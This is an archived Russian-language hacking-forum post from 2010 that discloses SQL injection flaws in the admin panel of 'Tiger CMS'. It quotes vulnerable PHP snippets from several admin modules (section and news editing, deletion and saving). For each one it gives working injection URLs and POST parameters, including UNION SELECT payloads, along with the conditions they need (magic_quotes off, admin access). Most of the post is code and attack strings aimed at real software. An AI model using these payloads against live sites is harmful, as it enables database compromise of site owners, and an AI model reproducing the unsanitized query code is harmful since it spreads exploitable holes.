Показать сообщение отдельно

  #6  
Старый 01.03.2010, 03:15
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами: 9000386

Репутация: 1148
По умолчанию

Ресурс http://download.ru/products/tiger-cms
редактирование раздела в админке файл edit.php
PHP код:
... check_var($_GET['id']);
        
$id_site $_GET['id'];
        
$get_site mysql_query("SELECT * FROM content WHERE razdel_id = '".$id_site."' LIMIT 1");
        if(
mysql_num_rows($get_site) == 0)
            {
                
mysql_query("INSERT INTO content(razdel_id,text) VALUES('".$id_site."','Текст')");
            }
            
        
$get_site mysql_query("SELECT * FROM content WHERE razdel_id = '".$id_site."' LIMIT 1");
        list(
$id,$razdel_id_id,$text) = mysql_fetch_array($get_site);
        
        
$get_razdel_name mysql_query("SELECT name FROM razdeli WHERE id='".$id_site."' LIMIT 1");
        list(
$razdel_name) = mysql_fetch_array($get_razdel_name);... 
функия ис /admin/functions.php :
PHP код:
...
function 
check_var($var)
        {
               if(!isset(
$var)) 
                {
                    die (
"<script language='Javascript'>function reload() {location = \"index.php\"}; setTimeout('reload()', 0);</script>");
                }
        }
... 
1) SQL inj:
Цитата:
http://site/admin/index.php?module=razdel&task=edit&id=-5'+union+select+1,2,version()--+
Вывод в редактор !!!
2) Путь если ошибки включены.

Файл admin\modules\razdel\delete.php:
PHP код:
... check_var($_GET['id']);
    
$id $_GET['id'];
    
mysql_query("DELETE FROM razdeli WHERE id = '".$id."' LIMIT 1");
    
mysql_query("DELETE FROM content WHERE razdel_id = '".$id."' LIMIT 1");
    echo 
'Раздел удален'; ... 
1) SQL inj:
Цитата:
http://site/admin/index.php?module=razdel&task=delete&id=18'[SQL]
Файл admin\modules\razdel\save_content.php:
PHP код:
... check_var($_GET['site_id']);
        
check_var($_POST['text']);
        
check_var($_POST['razdel_name']);
        
mysql_query("UPDATE razdeli SET name = '".$_POST['razdel_name']."' WHERE id='".$_GET['site_id']."' LIMIT 1");
        
mysql_query("UPDATE content SET text = '".$_POST['text']."' WHERE razdel_id = '".$_GET['site_id']."' LIMIT 1");
        echo 
'Раздел обновлен';... 
1) SQL inj:
нужно еще устанавливать пост: $_POST['text'], $_POST['razdel_name'] если не будет -переадресация ...
Цитата:
1. site/index.php?module=razdel&task=save_content&site_id= 13'[SQL]
2. $_POST['razdel_name']'[SQL] должны быть установлены:
- $_POST['text']
- action:
Код:
admin/index.php?module=razdel&task=save_content&site_id=13
3. $_POST['text']'[SQL]
должны быть установлены:
- $_POST['razdel_name']
- action:
Код:
index.php?module=razdel&task=save_content&site_id=13
Файл admin\modules\news\edit.php :
PHP код:
... check_var($_GET['id']);
    
$id $_GET['id'];
    
    
$get_news_e mysql_query("SELECT id,title,text,alltext FROM news WHERE id='".$id."' LIMIT 1");
    list(
$id_news_e,$title_e,$text_e,$alltext_e) = mysql_fetch_array($get_news_e); ... 
1) пути;
2) http://localhost/triger/center3/admin/index.php?module=news&task=edit&id=6'[SQL];
пример:
Цитата:
http://site/admin/index.php?module=news&task=edit&id=-6'+union+select+1,2,3,4--+
Файл admin\modules\news\create.php:
PHP код:
... check_var($_POST['title']);
     
$title $_POST['title'];
      
check_len($title,200);
       
clear_my_string($title);
        
$date date("Y-m-d");
       
       
mysql_query("INSERT INTO news(title,text,alltext,date) VALUES('".$title."','".$_POST['text']."','".$_POST['alltext']."','".$date."')"); ... 
1) SQL inj $_POST['alltext']'[SQL]
обязательны:
- $_POST['text']'
2) SQL inj $_POST['text']'[SQL]
обязательны:
- $_POST['alltext'];

Файл admin\modules\news\delete.php:
PHP код:
...  check_var($_GET['id']);
    
$id $_GET['id'];
    
mysql_query("DELETE FROM news WHERE id = '".$id."' LIMIT 1");
    echo 
'Новость удалена'; ... 
1) http://site/admin/index.php?module=news&task=delete&id=6'[SQL]

Файл \admin\modules\news\save_news.php:
PHP код:
...  check_var($_GET['id']);
        
check_var($_POST['title']);
        
check_var($_POST['text']);
        
check_var($_POST['alltext']);
        
$id  $_GET['id'];
        
$title $_POST['title'];
        
$text $_POST['text'];
        
$all_text $_POST['alltext'];
        
$date date("Y-m-d");
        
mysql_query("UPDATE news SET title = '".$title."',text = '".$text."',alltext = '".$all_text."',date='".$date."' WHERE id='".$id."' LIMIT 1");
        echo 
'Новость обновлена'; ... 
1) SQL injection не привожу, аналогично, за пост не забываем ...

Файл \admin\modules\tags\save.php :
1) SQL inj update...

Условия:
1) mg=off;
2) админка;

Последний раз редактировалось Strilo4ka; 01.03.2010 в 05:06.. Причина: граматика!
 
Ответить с цитированием